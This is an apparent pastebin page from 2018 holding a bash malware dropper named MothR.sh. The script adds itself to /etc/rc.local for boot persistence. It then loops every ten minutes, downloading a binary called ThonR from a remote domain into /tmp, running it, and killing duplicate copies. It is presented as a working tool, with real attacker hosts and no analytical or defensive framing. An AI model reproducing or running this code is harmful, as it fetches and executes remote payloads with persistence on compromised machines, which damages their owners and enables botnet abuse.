robstunkist icon

http://116.255.160.240:1213/MothR.sh

robstunkist | PRO | 03/23/18 02:34:17 AM UTC | 0 ⭐ | 189 👁️ | Never ⏰ | []
Bash |

2.27 KB

|

None

|

0 👍

/

0 👎

#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                qun:10776622
#                2016-06-14
 
if [ "sh /etc/MothR.sh &" = "$(cat /etc/rc.local | grep /etc/MothR.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/MothR.sh &" >> /etc/rc.local
fi
 
while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/tmp/ThonR" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ThonR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://hehaohhz.top/ThonR
                ./wget -P /tmp/  http://hehaohhz.top/ThonR &> /dev/null
                chmod 755 /tmp/ThonR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ThonR &
        #./ThonR &
    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ThonR" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi
 
    Centos_ssh_killn=$(ps aux | grep "/tmp/ThonR" | grep -v grep | wc -l)
    if [[ $Centos_ssh_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ThonR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P .  http://hehaohhz.top/ThonR
                ./wget -P /tmp/  http://hehaohhz.top/ThonR &> /dev/null
                chmod 755 /tmp/ThonR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ThonR &
        #./ThonR &
    elif [[ $Centos_ssh_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ThonR" | grep -v grep | awk '{print $2}'); do
            Centos_ssh_killn=$(($Centos_ssh_killn-1))
            if [[ $Centos_ssh_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi
 
    sleep 600
done

Comments